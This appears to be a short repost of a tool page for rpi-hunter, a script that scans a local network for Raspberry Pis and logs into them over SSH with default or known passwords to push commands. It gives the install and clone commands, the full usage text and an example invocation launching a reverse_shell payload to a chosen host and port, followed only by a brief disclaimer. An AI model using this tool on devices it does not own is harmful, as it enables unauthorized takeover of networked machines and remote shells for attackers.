rpi hunter is useful when there are multiple Raspberry Pi’s on your LAN with default or known credentials, in order to automate sending commands/payloads to them.

Also Read – VSHG : A Standalone Addon for GnuPG


  • Install dependencies: sudo pip install -U argparse termcolor and sudo apt -y install arp-scan tshark sshpass
  • Download rpi-hunter: git clone https://github.com/BusesCanFly/rpi-hunter
  • Navigate to rpi-hunter: cd ./rpi-hunter
  • Make rpi-hunter.py executable: chmod +x rpi-hunter.py
  • One line variant: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py


usage: rpi-hunter.py [-h] [–list] [–no-scan] [-r IP_RANGE] [-f IP_LIST]
[-c CREDS] [–payload PAYLOAD] [-H HOST] [-P PORT]
[–safe] [-q]
optional arguments:
-h, –help show this help message and exit
–list List available payloads
–no-scan Disable ARP scanning
-r IP_RANGE IP range to scan
-f IP_LIST IP list to use (Default ./scan/RPI_list)
-u UNAME Username to use when ssh’ing
-c CREDS Password to use when ssh’ing
–payload PAYLOAD (Name of, or raw) Payload [ex. reverse_shell or ‘whoami’]
-H HOST (If using reverse_shell payload) Host for reverse shell
-P PORT (If using reverse_shell payload) Port for reverse shell
–safe Print sshpass command, but don’t execute it
-q Don’t print banner
Example usage: ./rpi-hunter.py -r –payload reverse_shell -H -P 1337
Run ./rpi-hunter.py –list to see avalible payloads.
Payloads can be specified by the payload name from –list or as raw input
ex. –payload reverse_shell or –payload [your cli command here]


The standard internet fun disclaimer applies. Don’t commit crimes, be responsible.I am in no way responsible for anything and everything you do with rpi-hunter.